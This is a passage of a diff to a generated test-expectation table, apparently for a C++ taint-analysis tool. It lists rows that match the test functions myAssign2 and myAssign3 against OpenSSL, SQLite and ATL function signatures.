myAssign2 | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | BN_security_bits | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (int,int) | | acttab_alloc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 